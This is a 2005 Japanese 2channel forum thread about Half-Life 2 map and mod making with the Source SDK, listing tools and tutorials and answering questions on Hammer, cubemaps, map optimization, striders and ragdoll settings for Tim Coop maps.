□■HALF-LIFE2 MOD・SDKスレ その4■□
レス数が950を超えています。1000を超えると書き込みができなくなります。
0001名無しさん@お腹いっぱい。
2005/06/26(日) 09:31:38ID:flfAZMH5MODの話題は本スレへどうぞ。
*必読*
■国内マッピングコミュニティー
ttp://tendon.xrea.jp/phpBB/
■Source SDKドキュメント日本語版
ttp://tendon.xrea.jp/phpBB/kb.php?mode=article&k=71
■Source SDK ドキュメント本家
ttp://www.valve-erc.com/srcsdk/
■CS:Sアップローダー.zip,.dem,.jpg,cfg限定
ttp://shitabirame.hp.infoseek.co.jp/cgi-bin/
■HL2 テンプレサイト
ttp://hl.fpsjp.org/
□ツール□
■SOFTIMAGE|XSI Mod Tool version 4.2:Half-Life 2などのmodel作成ツール(無料)
ttp://www.softimage.com/products/Mod/v42/downloads/
■GCFScape:SteamAppsにある拡張子gcfというファイルを展開できる
ttp://nemesis.thewavelength.net/
■MDLDecompiler:mdlファイルのデコンパイラー
ttp://www.chaosincarnate.net/cannonfodder/cftools.htm
■VMEX:bspファイルのデコンパイラー
ttp://www.geocities.com/cofrdrbob/
スチームのキャッシュからgcfscapeで抜き出したマップの.bsp ファイルを用意する。
・Javaの実行環境(JRE)をインストールする。
・コマンドラインでvmexのディレクトリに移動してvmex マップ名.bspといれるとマップ名.vmfができる
・ハンマーからvmf開いてValveのすごさにガッポイ。
>>2-3
0002名無しさん@お腹いっぱい。
2005/06/26(日) 09:32:03ID:flfAZMH5■interlopers.net:各種チュートリアル多数
ttp://www.interlopers.net/
■Half-Life2 Files ビデオチュートリアルコーナー
ttp://halflife2.filefront.com/files/Half-Life_2/Tutorials_and_Guides/VTMs;4385
■HL2World Knowledge Base
ttp://www.hl2world.com/wiki/index.php/Main_Page
■逆引きチュートリアル
ttp://gamewag.com/hl2.html
■基本的なHL2向け3Dモデルの作り方もわからない
ttp://www.morales.dk/hl2/
■Co-opMAPの作り方(Zombies in deathmatch)
ttp://www.rawmeat.be/development.php
■CS:S/HL2DM用のサーバプラグインCountryFilter・ドラクエ風サーバプラグイン(ソース付)
ttp://d3.jpn.org/
■Wavelength:コーディング関係
ttp://articles.thewavelength.net/
*海外のサイトでも画像使って解説してたり、マップのソースがおいてあったりするので
*日本語じゃなくてもビビらずにガンガンアタックしる!
*最悪エンティティー名と設定値だけ読めば何とかなる!
□関連サイト□
■Half-Life2 Files:創った物を世界へ公開しよう!
ttp://halflife2.filefront.com/
■Mod Database
ttp://games.moddb.com/61/
□公式ML□
■hlcoders
http://list.valvesoftware.com/mailman/listinfo/hlcoders
■hlmappers
http://list.valvesoftware.com/mailman/listinfo/hlmappers
0003名無しさん@お腹いっぱい。
2005/06/26(日) 09:32:20ID:flfAZMH5□■HALF-LIFE2 MOD・SDKスレ その3■□
http://game10.2ch.net/test/read.cgi/game/1104709134/
□■HALF-LIFE2 MOD・SDKスレ その2■□
http://game10.2ch.net/test/read.cgi/game/1102402450/
□■HALF-LIFE2 MODスレ■□
http://game10.2ch.net/test/read.cgi/game/1101211248/
□関連スレ□
□■HALF-LIFE2 ハーフライフ2■□PART69
http://game10.2ch.net/test/read.cgi/game/1117354093/
■□ HALF-LIFE □■Part36
http://game10.2ch.net/test/read.cgi/game/1103872592/
0004名無しさん@お腹いっぱい。
2005/06/26(日) 12:25:44ID:iy8yUgEzおつかれさん。
これからもお世話になります('A`)
0005名無しさん@お腹いっぱい。
2005/06/28(火) 18:30:34ID:skZaJkrG乙
0006名無しさん@お腹いっぱい。
2005/06/28(火) 22:15:46ID:9vNJAncm前スレの話で申し訳ないんですが、チーム別ダメージ出来ました。
ありがとうございます(_ _)
0007名無しさん@お腹いっぱい。
2005/07/01(金) 21:30:41ID:NcLYgI2d0008名無しさん@お腹いっぱい。
2005/07/01(金) 23:49:45ID:zLPMoxSmこれってシングルプレイマップと同じように作ったらいいのかな?
知ってる人、あるいは解説してある場所を知ってる人、いたら教えて下さいな。
英語読めます。オフィシャルフォーラムはざっと覗いたけど良く分からず。
オフィシャルのチュートリアル用の lvl1 の vmfファイルも見たけど、エンティティー多過ぎて相関関係が分からなく教材向きじゃなかった。
0009名無しさん@お腹いっぱい。
2005/07/02(土) 03:21:54ID:Kb6zFTva00108
2005/07/02(土) 10:50:50ID:sanE+aIx基本的にDMマップ作る感覚で構わないと。
0011名無しさん@お腹いっぱい。
2005/07/02(土) 10:58:28ID:HJLejLkTど素人はこっち見てやってみろ
0012名無しさん@お腹いっぱい。
2005/07/02(土) 15:04:37ID:CyyQ6rmQ0013名無しさん@お腹いっぱい。
2005/07/02(土) 19:31:39ID:xo4DRW47それぞれまとめてみました。
http://d3.jpn.org/hl2/compileHL2plugin-jp.html
0014名無しさん@お腹いっぱい。
2005/07/02(土) 19:31:56ID:7p1SL4ms効果がいまいちわからんorz
0015名無しさん@お腹いっぱい。
2005/07/02(土) 23:04:20ID:rGy+mim8同じ座標に複数のcubemapがあると、buildcubemapsに失敗する。
sdk_dm_lockdownは、(-2631,3527,173)近辺のcubemapが重なっているので注意。
0016名無しさん@お腹いっぱい。
2005/07/03(日) 01:35:48ID:rnc+Nvykfunc_detailの中に簡易なnodraw brushを置いてvvisを適応させるとか、
prop_dynamicにbrushエンティティの機能を持たせたい時とか。
0017名無しさん@お腹いっぱい。
2005/07/04(月) 01:31:08ID:cypoPI+F15さんは軽くする方法、16さんはnodrowの使い方ですね
0018名無しさん@お腹いっぱい。
2005/07/06(水) 02:52:52ID:4VcK8IFi出現するのがantlionではなく、combine soldierのようなAIキャラというMAPを作ってもらえないでしょうか?
イメージとしては、SPマップの「combineonslaught」から味方NPCを抜いて、鯖の負荷軽減のために
一度に出てくるコンバインの量も減らして、respawnポイントを複数設けて、
一定数のコンバインを倒したら何らかのボスを出すようにしてもらえれば良いのではないかと思っています。
(ストライダーはv1.03でちゃんと動作するかまだ詳しく分からないので、やはり普通のヘリか)
0019名無しさん@お腹いっぱい。
2005/07/06(水) 03:12:05ID:YglgRefA奇遇だな、今そう言うの俺作って、一部で公開した。
ただ、ボスはまだ実装してない。
0020名無しさん@お腹いっぱい。
2005/07/06(水) 22:07:24ID:nDLL/NCF設定次第で自由に動かせる。
0021名無しさん@お腹いっぱい。
2005/07/06(水) 23:28:23ID:AscsCIG/--Undo Warning--
「Your system load is very high. If you are experiencing sluggish performance,
consider turning down the number of Undo levels by selecting Options in the Tools menu. 」
と窓が出て怒られるんですが、この窓非表示にしちゃうと何か問題あります?
「Undoレベル低くしる!」ってこと?
0022名無しさん@お腹いっぱい。
2005/07/07(木) 00:39:32ID:Fe0QV/Ioそ。
メモリ食うからね。
0023名無しさん@お腹いっぱい。
2005/07/07(木) 03:33:23ID:gH/egSc9Tim Coopのマップ作る人もいたんですねー。
もしよかったら、
http://www.fileup.org/
この辺りにアップロードして頂けませんか?
テストプレイに是非参加してみたいです。
0024名無しさん@お腹いっぱい。
2005/07/07(木) 04:15:44ID:pOqliwJL日本人らしき 2、3人のアクセス有難う。
>>23
やっと完成したのでアップしてみる。
http://www.uploda.org/file/uporg142436.zip.html
受信pass : gappoi
・Combinesの波状攻撃実装
・GunShip実装
・GameEnd実装
0025名無しさん@お腹いっぱい。
2005/07/07(木) 12:44:26ID:bBMkwmqt通してプレイしてみました。かなり面白い感じですね。
参考になるかわかりませんが、
respawnポイントや装備置き場に物を置きすぎでポリゴン数が増えたのが原因なのか、
戦闘ポイントに出ても、respawnポイントの方向を向くと
急激にfpsが落ちるのが、ちょっと気になりました。
0026名無しさん@お腹いっぱい。
2005/07/07(木) 22:53:14ID:apQCX5rAニ= 坂 そ -=
ニ= 人 れ =ニ
=- な. で -=
、、 l | /, , 人 ボエェェェ ニ .ら. も ニ
.ヽ ´´, (´・ω・) ´r : ヽ`
.ヽ し き 大 ニ. 川 ´/小ヽ`
= て っ 坂 =ニ λ
ニ く. と 人 -= λ ワー
= れ.何 な -= λ λ ワー
ニ る と ら =ニ
/, : か ヽ、
/ ヽ、
0027名無しさん@お腹いっぱい。
2005/07/07(木) 23:25:33ID:pOqliwJLSkipやNodraw使って、出来る限り軽減に努めたんだが、まだ多かったか・・・・。
ありがとう、今後注意するよ。
0028名無しさん@お腹いっぱい。
2005/07/08(金) 02:48:21ID:caswHRWcアントライオンかヘッドクラブかゾンビかボーティガンツしかないし。
なんかワニっぽいのも犬っぽいのも
ゴリラっぽいのもサメっぽいのもキリンっぽいのも作ってほしいな。
アサシンっぽいのもほしいな。
0029名無しさん@お腹いっぱい。
2005/07/08(金) 13:04:40ID:DK0QMjQG特定チーム全員にアクションを起こさせたい(hurt、message、scoreなど)場合、
trigger_multipleなどをマップ全体にかぶせる以外に、game_zone_playerの出力
であるOnPlayerInZone/OnPlayerOutZoneにfilter_activator_teamを使用する
ことでも可能。
0030名無しさん@お腹いっぱい。
2005/07/08(金) 14:47:37ID:hRsX0d73自分のためならわざわざここに書くな。
ついでに言うとわざわざ書くほどのtipでもない。
003121
2005/07/08(金) 15:20:47ID:IRc2DZxFthxやっぱメモリですかぁ。増設考えないと。
今1GB(512*2DDR400 1T)でAthlon64 Rev.Dだから512*2増設すると
デフォで2T、DDR333になっちゃうな…2TならDDR400でいけるんだろうか。
0032名無しさん@お腹いっぱい。
2005/07/09(土) 00:06:39ID:DK0QMjQGhttp://ented.mybigspoon.com/
何も変更せずにセーブしても.bspが壊れてしまうようですが、
日本語Windows上だと動作しないということもあるのでしょうか。
0033名無しさん@お腹いっぱい。
2005/07/09(土) 00:18:10ID:9Oi+jXNu最終更新日が去年というあたりが不安になる。
最近作られたEntSpyならメンテナンスされてるかも。
ttp://www.geocities.com/cofrdrbob/entspy.html
0034名無しさん@お腹いっぱい。
2005/07/09(土) 00:48:35ID:x3aaXRr9EntEDは最近のSteamフォーラムの書き込みでも使用できているようでしたが、
EntSpy、試してみます。
ありがとうございました。
0035名無しさん@お腹いっぱい。
2005/07/09(土) 01:17:40ID:x3aaXRr9動作確認しました。
問題なくeditできるようです。
0036名無しさん@お腹いっぱい。
2005/07/09(土) 01:30:53ID:KUvLemRohttp://www.uploda.net/cgi/uploader4/index.php?dlpas_id=3627
DLpass : gappoi
Combinesの武器弾薬のDrop禁止方法がわからない。
Do not drop にしても drop する。
0037名無しさん@お腹いっぱい。
2005/07/09(土) 01:51:44ID:x3aaXRr9game_weapon_managerはどうです?
0038名無しさん@お腹いっぱい。
2005/07/09(土) 12:47:43ID:OshWCvzhストライダーの攻撃に、機関銃じゃなくて主砲のみを使わせるにはどうすればいいんですか?
0039名無しさん@お腹いっぱい。
2005/07/10(日) 14:27:10ID:afyumU6j0040名無しさん@お腹いっぱい。
2005/07/10(日) 15:17:26ID:EYWjr7G+0041名無しさん@お腹いっぱい。
2005/07/10(日) 18:34:05ID:UWw0FQTHCSECとかHalf-Life 2 japanとかちゃんと質問に答えてくれるところで聞いた方が良い
2chなんかで聞くのは時間の無駄
0042名無しさん@お腹いっぱい。
2005/07/10(日) 21:42:54ID:gMD6fzGL主砲はトリガー使用。
プレイヤーに向けて発射したいのなら、
トリガーで条件指定による !player ターゲティングの主砲発射か、時間式の主砲発射。
あるいは ストライダーを親とするトリガーを生成して、ストライダー周辺の特定位置に入ってきたら発射方式。
0043名無しさん@お腹いっぱい。
2005/07/10(日) 22:25:05ID:qtMRaUq5あー・・・それにもトリガーが必要なんですか・・・
ストライダーって全然AI動作とかじゃないんですねぇ。
どうもありがとうございます。解決できそうです
0044名無しさん@お腹いっぱい。
2005/07/10(日) 23:45:23ID:TuM6reKAとかいってたよな。今となっちゃハッタリもいいとこだな。
0045名無しさん@お腹いっぱい。
2005/07/11(月) 00:54:22ID:WKArauGpちょっとした詐欺じゃない
0046名無しさん@お腹いっぱい。
2005/07/11(月) 02:06:44ID:gB+SPZXnTim Coopやシングルマップで使ってあげようと思って出しても、
ホント何の役にも立たない。
攻撃のフリになりそうなモーションすら無い
0047名無しさん@お腹いっぱい。
2005/07/11(月) 02:18:30ID:gB+SPZXnコンバイン兵とヘリとストライダーしか出てこないのが寂しい・・・まだまだ付け加えにゃ
ストライダーを走らせられたので、
山の向こうから二匹が突進してくるように面白おかしくしてみた。
CSECってとこに、ドロップシップの使い方が有ったから導入してみようと思ったけど、
結局失敗。
ところで、ストライダーはしゃがませているのに、当たり判定は立った姿勢の状態のままなことが有るんですが、
何が悪いんでしょうか・・・?
あと、まだAirNODEとGroundNODEは、どこにどれくらい置けばいいのか分からないので、誰か教えて下さい・・・
004847
2005/07/11(月) 02:21:31ID:gB+SPZXnマップを見せてもいないのにムチャクチャな質問してすみません。スルーして下さい・・・。完全に初心者なもので
0049名無しさん@お腹いっぱい。
2005/07/11(月) 02:36:57ID:Sjz/2AThサンプル作ろうかと思ったが、既にあったので紹介。
http://tendon.xrea.jp/phpBB/viewtopic.php?t=744
>>46
一応、スクリプトで指定すれば攻撃する。
>>47
>ストライダーはしゃがませているのに、当たり判定は立った姿勢の状態のままなことが有るんですが、
>何が悪いんでしょうか・・・?
それはマップが原因じゃないので、文句は Valveに。
>AirNODEとGroundNODE
Air node は 空中に設置
Ground Node は 地面に設置
動かしたい場所の数だけ設置
0050名無しさん@お腹いっぱい。
2005/07/11(月) 02:39:38ID:Sjz/2AThSetCannonTarget で指定したターゲットには、
キャノン砲が「壁もドアもスカイボックスも突き抜けて」当たるので、その点考慮してトリガー設定すること。
あとストライダーをしゃがませてキャノン砲を撃たすとキャノン砲のエフェクトが終了しないことがあるので注意。
0051名無しさん@お腹いっぱい。
2005/07/11(月) 22:43:01ID:K26kBvDXどうもありがとうございます!!
やはり、DOGを導入するのは初心者の私には難しそうですね・・・
コンパイルしたものをSDKも閉じて実際にプレイしてみたら、
物凄く重いマップだと気づいた。
一人でも重いのに、8人入って撃ちまくったらfps一桁行きそう
軽量化しようにも、屋外マップだから軽量化するところが無い・・・
そこまで広いマップでもないのに、こんなに重くなるもんなんですかねぇ・・・
やはりこれも初心者特有の症状だったりするのかな・・・?
0052名無しさん@お腹いっぱい。
2005/07/11(月) 23:11:19ID:D385KE4ofunc_detail, prop系エンティティ、ディスプレイスメントはVIS判断の際に考慮されない
つまり壁に一個でも上記のものを使ったりしている場合、
きちんとNODROWなりで閉じておかないと、向こう側も常に描写してしまう
見えない面はNODRAWに
あと、水はものすごく重い
0053名無しさん@お腹いっぱい。
2005/07/12(火) 00:14:24ID:XVo3q1btどうもありがとうございます。
しかし、完全に屋外のマップにしてしまったので、隠すところが有りません(;;)
てか、Terrainとかってのの使い方がよく分からなかったから、
DMの中から地形の綺麗なのをパクってきたんですが、それがちょっと綺麗すぎたのが原因だと思います。
(起伏が滑らかな上に広い・・・)
とりあえず、アイテムや武器のエンティティは小屋(?)の内側に置いてnodrawで隠してみて、
何とか抵抗してみるつもりです。
それで駄目なら、AirNodeとGroundNodeを減らして(よく分からなかったから大量に置いた)みます。
それでも駄目だったらフツーにボツかな?(;;)
まだまともなMAP作るの2個目だから、経験不足からの良い勉強か
0054名無しさん@お腹いっぱい。
2005/07/12(火) 00:31:19ID:HuhOaZQhzombies Optimizing-page
http://www.student.kun.nl/rvanhoorn/Optimization.htm
0055名無しさん@お腹いっぱい。
2005/07/12(火) 12:01:27ID:r8iEsVdyまずmat_wireframe 1 で見てみて
「隠れていて見えるはずのない場所」が見えてたら
それを隠すように手を加えてみれ
方法は>>54のところにいろいろ書いてある
ま、いろいろやってみて「何が重いか」をまず調べてみるべし
どうしても重いようなら、無理やり丘とかを作って視界を遮蔽してみるとか
005653
2005/07/12(火) 16:06:13ID:5HRY5tGw初っ端からダメ出し喰らって汗が出たw
Func_areaportalwindowってのは製作中のMAPに使えそうな感じですが、
なんか使い方がいまいち分かりにくいかも。
って言ってもまだ試してみた訳ではないですが
坂道状態なら、ポンと置けば良いんだろうけど、360度全方向から登るような塚みたいな丘には
どうすれば良いんだろう・・・?十字型に設置?w
0057名無しさん@お腹いっぱい。
2005/07/12(火) 16:40:40ID:r8iEsVdyareaportalは閉鎖空間で使うものだから、
アウトドアではまったくつかえない
入り口が扉で閉じられている閉塞された小屋なんかがあれば別だけど
0058名無しさん@お腹いっぱい。
2005/07/15(金) 01:32:29ID:W7sYoh97早速使ってみようと思ったらわけわからん。
使い方の日本語解説サイト・・・・なんて無いですよねぇ
そこで、同様に他のマップをデコンパイルして流用させてもらおうとしても、
地形だけにして.vmfで保存しても、再び開くと、
ロードエラーが発生して、地表だけが消えたもの(つまりは何も無い)をロードしてしまいます。
どうやれば出来るんですか?
0060名無しさん@お腹いっぱい。
2005/07/16(土) 01:41:27ID:HpTe6ZfGsv_cheats 1を一時的に使って、その間に機関銃をボートに付けるコマンドを入れて、
機関銃付きのボートを作ろうと思ったのですが、
airboatに機関銃を取り付けるコマンドが分かりません。誰か、知っている人がいたら教えて頂きたいです
0061名無しさん@お腹いっぱい。
2005/07/17(日) 10:16:56ID:1fc3/L5Kミニガンに設定してもキャノン砲に設定しても、ミニガンしか撃ってくれないの。
>>38にも質問があったけど、彼は解決したのかな?
0062名無しさん@お腹いっぱい。
2005/07/17(日) 11:44:03ID:i0gznG9B>>42
0063名無しさん@お腹いっぱい。
2005/07/17(日) 11:59:37ID:PkGX2hX50064名無しさん@お腹いっぱい。
2005/07/17(日) 16:54:23ID:1fc3/L5Kいや、だから、作ったマップをティムコープで起動するとキャノン砲を撃ってくれないんです。
(てか、トリガはSetCanonTargetで良いんですよね?)
HL2DMで起動すると撃ってくれてます。
だから、ティムコープ用に別の何かが必要なのかな?と思ったんです
0065名無しさん@お腹いっぱい。
2005/07/17(日) 22:08:30ID:PkGX2hX5じゃないよ阿呆
0066名無しさん@お腹いっぱい。
2005/07/17(日) 23:47:20ID:1fc3/L5K信じられないなら、とりあえず試してみてください。
普通のやり方ではキャノン砲を撃ってくれないのが分かると思います
0067名無しさん@お腹いっぱい。
2005/07/18(月) 01:34:42ID:GQWC/4Xn0068名無しさん@お腹いっぱい。
2005/07/18(月) 01:36:02ID:plYsrps1>>41
0069名無しさん@お腹いっぱい。
2005/07/18(月) 03:42:11ID:e1Sx8Azsいや、ちゃんと撃ててますよ・・・
もしよければ、テストマップをアップロードしましょうか?
0070名無しさん@お腹いっぱい。
2005/07/18(月) 09:09:44ID:XH6n/KZcTimCoopでもちゃんと撃てます。
動かないのなら貴方のトリガーの設定が間違ってる。
0071名無しさん@お腹いっぱい。
2005/07/20(水) 01:20:16ID:noylPzxCヒント:デコンパイラ
0072名無しさん@お腹いっぱい。
2005/07/20(水) 12:07:56ID:dQ924G96■ ■ 違う板にコピペすると、四角の枠の中に
■ ■ メッセージとURLが現れる不思議な絵。
■ ■
■ ■ (その仕組みがリンク先に書いてある)
■ ■
■ ■ この原理を応用すると、まったく新しい
■ ■ コピペが作れる予感。
■■■■■■■■■■■■■■■■
0073名無しさん@お腹いっぱい。
2005/07/20(水) 12:21:50ID:S0L0tBqk0074名無しさん@お腹いっぱい。
2005/07/20(水) 12:33:54ID:UQouz2damani adminでそういうの出来なかったっけ?
0075名無しさん@お腹いっぱい。
2005/07/20(水) 13:09:08ID:S0L0tBqk0076名無しさん@お腹いっぱい。
2005/07/20(水) 20:16:49ID:h9hji2/Ahttp://www.rawmeat.be/timcoop/developers.php
0077名無しさん@お腹いっぱい。
2005/07/20(水) 22:18:42ID:UQouz2daやっぱ、新マップが出ないからプレーヤーが飽きちゃってるんだろうな。
俺が作れる程度のものなら作りたいけど、RTSのマップしか作ったことが無い。
こんな俺でも作れるものなのかな?
007877
2005/07/21(木) 01:48:48ID:otAUljEtトリガとかの設定も、その辺のヘタなRTSよりずっとやりやすいです。
それに、いくつもマップを同時にロード出来て、相互に切り替えてアレコレ出来るのがすごいよ
広いマップを何度も時間をかけてロードして何度も右往左往しなくても、
小さなテストマップをいくつも作って、その中でいろいろ作って、
最後のコピペの段階だけで右往左往すればいい。ってのが楽だ。
初めてだけど、CSEC見たら解決しなかった問題は今の所ない。コミュニティの充実も素晴らしい。
非の打ち所が無いですね
0079名無しさん@お腹いっぱい。
2005/07/21(木) 15:55:21ID:ooM5LfaY008077
2005/07/21(木) 16:50:37ID:otAUljEt結構「マップ」と言えるようなものに出来上がってきた。
ところで、上の方に、ストライダーをしゃがませることについて言及されていますが、
ストライダーを「立たせる」にはどうすれば良いのでしょうか?
デフォルトのままだと、気まぐれで立ったりしゃがんだりして、当たり判定がムチャクチャになるので、
立たせたままにしたいのですが・・・
0081名無しさん@お腹いっぱい。
2005/07/21(木) 19:23:08ID:9Spsz9Mi選択用の水色の枠の大きさが変わるだけになることがよくあるんだけど。
ウザいからなんとかできないかな?
008277
2005/07/21(木) 21:41:40ID:otAUljEtあるある!!俺の場合は、サイズを変える時じゃなくて、
ブラシをドラッグでクローンしようとすると起こることが多いです。
何のためにつけられてる機能なのか理解に苦しむ。
でも、それよりもっとウザいのは、
ブロックツールで「CreateObject」をやってもブラシが作れなくなること。
Hammerを再起動しなきゃ直らないから、またいくつもマップロードするのが面倒
0083名無しさん@お腹いっぱい。
2005/07/21(木) 22:04:16ID:79yZ/gxDトリガーで「しゃがみ禁止」の設定なかったっけ。
0084名無しさん@お腹いっぱい。
2005/07/22(金) 00:21:49ID:riMI4B+k008577
2005/07/22(金) 01:51:49ID:4wzq48Iq自力で何とか別方面から解決させました。どうもありがとうございました。
もう一つ聞きたいことがあります。ストライダーの死体についての質問です。
ストライダーの死体は、Fade Collapseを設定しておいても、
いつまでも消えずに残ってしまって、しかもその死体に物理処理がかかっているので、
何匹か沸かせると、その死体がどんどん蓄積してfpsを著しく低下させてしまうのです。
消す方法を知っている人がもし居ましたら、是非教えて頂きたいです。
0086名無しさん@お腹いっぱい。
2005/07/22(金) 03:50:00ID:9vxiW3h2game_ragdoll_managerでできない?
0087名無しさん@お腹いっぱい。
2005/07/22(金) 06:13:20ID:SHmUyYad0088名無しさん@お腹いっぱい。
2005/07/22(金) 09:57:10ID:i65Pu2QT008977
2005/07/22(金) 11:08:31ID:Gn18ND27エディタいじるの初めてなんでよく分からないんですが、
つまりは、Game_Ragdoll_Managerで総ragdoll数を0にすれば解決するんですかね?
0090名無しさん@お腹いっぱい。
2005/07/22(金) 11:34:44ID:NzL4PFnV0にしたら直ぐ消えて不自然だから。
2つか3つぐらいにしておいたら。(デフォは8)
009186
2005/07/22(金) 13:52:56ID:9vxiW3h2質問です
game_textを片方のチームだけに表示させたいのですが、
filter_activator_teamでできます?
009277
2005/07/22(金) 17:31:18ID:Gn18ND27cl_ragdoll_collide
g_ragdoll_fadespeed
とかも試してみましたが、結局ストライダーの死体が消えることはありませんでした。
ひょっとしたらTimcoop側で決められているのかもしれません。
ストライダーの数を減らして対処したつもりですが、それでもやはり重い・・・
まぁ、いろいろ問題は出てきましたが、一応完成(?)はしました。
でも、難易度が適切かどうか全く分からないので、
今晩にでも、自前で鯖を立てて、テストプレイしてくれる人を募集してみます
0093名無しさん@お腹いっぱい。
2005/07/22(金) 19:31:14ID:JfSxEbHTと言うか、質問せずにどんどんやったらいいじゃないか。
エンティティーが分からんのならまだしも、分かってるのならそれ以上説明いらんだろう。
>>92
ラグドールは Game_Ragdoll_Manager の 設定値を超えないと消えないぞ……。
>それでもやはり重い・・・
HintやSkip使ったりしてVISを細かく区切って描写処理を省略しないと重いぞ。
009477
2005/07/22(金) 19:50:18ID:Gn18ND27上の方に、Hintやらの解説が詳しくされてそうなZombieの最適化だかってのが有りましたが、
英語だからかいまいち分からなかったです。
分かったとしても、作ったマップは屋外のアリーナ物なんで、あまり関係なさそうです。
>Game_Ragdoll_Manager の 設定値を超えないと消えない
0に設定しても、ストライダーだけは何故か消えなかったです。やはりMOD側で決められているのではないでしょうか?
0095名無しさん@お腹いっぱい。
2005/07/22(金) 20:06:17ID:JfSxEbHT屋外マップなら地形部分と空の部分は切り離しといたほうがいいぞ。
>0に設定しても、ストライダーだけは何故か消えなかったです。
ん〜?
ちょっと待ってな、俺の方でも後で調べてみる。
TimCoopのマップでいいんだよな?
0096名無しさん@お腹いっぱい。
2005/07/22(金) 20:46:08ID:iiE5MPd6ろくに調べないで騒いでた人がいたけど
同じ人じゃないかね
009777
2005/07/22(金) 20:54:21ID:Gn18ND27すみません。CSECでしか調べていないです・・・。
でも、死体の処理でGame_Ragdoll_Manager以外に設定できるものってあるんでしょうか?
0098名無しさん@お腹いっぱい。
2005/07/23(土) 16:43:31ID:dTm6VxGp0099名無しさん@お腹いっぱい。
2005/07/23(土) 21:47:37ID:DT0R7Uccそして何秒後かにkillする。試しては無いけど。
半分以上体力減らないようにするべきかも。
0100名無しさん@お腹いっぱい。
2005/07/23(土) 22:11:20ID:eDgl4tLKあ〜!!そんな手があったんですか・・・
どうもありがとうございます。
全く気づきませんでした。バカですみません。
0101名無しさん@お腹いっぱい。
2005/07/24(日) 02:31:46ID:iJWrlPar今一度考えてみたら、その方法ってすごく使える気がしてきた。
なんか夢が広がる
0102名無しさん@お腹いっぱい。
2005/07/24(日) 17:01:13ID:Gt7SjZWE体力設定のアクションは現在効果がありません。
強制的にデフォルト体力に設定されます。
0103名無しさん@お腹いっぱい。
2005/07/24(日) 17:12:31ID:iJWrlParまじですか・・・?
もうすでに新しいマップで、かなり多く取り込んじゃったんですけど・・・w
Stalkerとか見たこと無いキャラとかは死ぬモーションが付いてないから、殺すと落ちるんで、
コレを使えば! ・・・と、他のキャラもアレコレ、かなり使いました・・・
やれやれ、この一日は何だったのか・・・
0104名無しさん@お腹いっぱい。
2005/07/24(日) 19:59:03ID:iJWrlParhttp://tendon.xrea.jp/phpBB/kb.php?mode=article&k=104
を見ても、分からなかったことなんですが、
CubeMapを配置すると、動作は軽くなるんですか?重くなるんですか?
普通の状態だと、リアルタイムでCubeMapのレンダリング画像を吐き続けるから、
CubeMapを配置して、動作を軽くするってことなんでしょうか?
それとも、普段ならレンダリングも環境マップ(?)も貼り付けないけど、
見栄えを良くする為にCubeMapを配置するということでしょうか?
0105名無しさん@お腹いっぱい。
2005/07/24(日) 21:33:09ID:tALI0lRI読んでわかんないなら自分で試せばいいのに。
0106名無しさん@お腹いっぱい。
2005/07/24(日) 23:28:08ID:Gt7SjZWEユーザーが設置したCubeMapが存在しない場合、CubeMapはマップ起動時に自動的に生成される。
だが、ユーザー側でも指定可能と言うこと。
例えば屋内マップと屋外マップの混合マップの場合、屋内用CubeMapと屋外用CubeMapの二種が必要になる。
HL2のシングルプレイでは部屋ごとにCubeMapを設定していると言う贅沢な使い方をしていた。
また、CubeMapを指定することでモデル等へのテクスチャーの反射をユーザー側が指定することによって環境に調和させることが出来る。
0107名無しさん@お腹いっぱい。
2005/07/24(日) 23:55:55ID:9iUZkJ0mまず、ユーザが置いたcubemapがないからといってリアル
タイムに画像を吐き続けることはない。ので、その意味では
動作の重さは関係ない。
cubemapが必要な場合は >>106 参照。照明の色が違う部屋
を作ってcubemapをなしにするとありがたみがわかる。
んで、cubemapで計算されたテクスチャはBSPに埋め込まれる。
そういう意味では多用するとBSPが大きくなったり、読み込みが
大変だったりするかも。
0108名無しさん@お腹いっぱい。
2005/07/25(月) 00:07:35ID:MDETAIasどうもありがとうございます!!
そういうための機能だったんですか。それでは、同じ部屋に違う色を出すライトが沢山あれば、
それに合わせた数のCubumapが必要になるわけですね。
配置しなければ自動で作成されるということは、
cubemapのテクスチャサイズを最小にして自分で配置した方が軽くなるということですね。
助かりました。
このスレって親切な人ばっかりですね
0109名無しさん@お腹いっぱい。
2005/07/25(月) 01:46:18ID:LlX9070Bライトの数じゃなくて、極端な話、反射する面全てに対してcubemapがいる
1つのcubemapに複数面を割り当てられるから厳密に言えば面の数だけではないが
テカる円柱なんかを作ったりしちゃうと、cubemap割付がけっこう面倒だったりする
0111名無しさん@お腹いっぱい。
2005/07/26(火) 02:57:40ID:0ss9JB0p【Savage:The?Battle?for?Newerth】
(無料?)FPSとRTSが融合した,ユニークなゲームスタイルが特徴のゲーム
http://www.s2games.com/savage/?(公式サイト・英語)
【本スレ】
http://game9.2ch.net/test/read.cgi/gamef/1121410352/l50
【解説サイト】?質問する前に読め
http://savagetiger.hp.infoseek.co.jp/
http://www.joyng.net/savage/
http://home.att.ne.jp/wind/game/savage/index.htm
http://www.realintegrity.net/~kurohige/
http://www.4gamer.net/patch/demo/savage/savage.html
【Savageまとめサイトwiki】
http://f59.aaa.livedoor.jp/~savage/wiki/
0112名無しさん@お腹いっぱい。
2005/07/26(火) 03:27:00ID:CvAgHn7iデフォルトってのは設定しないときに与えられる値のことなのでは?
0113名無しさん@お腹いっぱい。
2005/07/26(火) 08:17:05ID:qXdZHZVAkanateko_troopers_beta2で、途中に出てくるストライダーに
sk_striderhealth(だったかな?)の値を倍にして、logic autoとかいうエンティティにぶち込んで、
ストライダー側にOnHalfHealthでkillするようにしたら、正常に動いていました。
とりあえず、ストライダーの場合は大丈夫なようです
0114名無しさん@お腹いっぱい。
2005/07/26(火) 08:49:34ID:Kz8oKfptそれで全部できるはず。DMではだけど。Timはしらん。
0115名無しさん@お腹いっぱい。
2005/07/26(火) 14:52:29ID:ZDR9i6yTデフォルトの数値はいじれないよ。
Combineでやってみ。
0116名無しさん@お腹いっぱい。
2005/07/26(火) 22:36:57ID:uX1t4aBF0117名無しさん@お腹いっぱい。
2005/07/26(火) 23:19:33ID:pSYpXhac自分の場合、logic_autoにsv_cheats 1も書き込んだけど、それのおかげで働いてるのかも。
試しにそれもぶち込んでみて下さい
0118名無しさん@お腹いっぱい。
2005/07/26(火) 23:28:36ID:gcSOoaPw0119名無しさん@お腹いっぱい。
2005/07/27(水) 00:07:51ID:+FeTr5j1それはMAP起動後にコンソールのコマンドから、言ってみればある種無理矢理数値の書き換えをしてるから、それは有効動作する。
HL1 の SvenCoopのようにマップ側に体力設定の数値を埋め込む形では動作しない。
そもそも最初の数値(デフォルト数値)は書き換えられないっての言いたかったんだが。
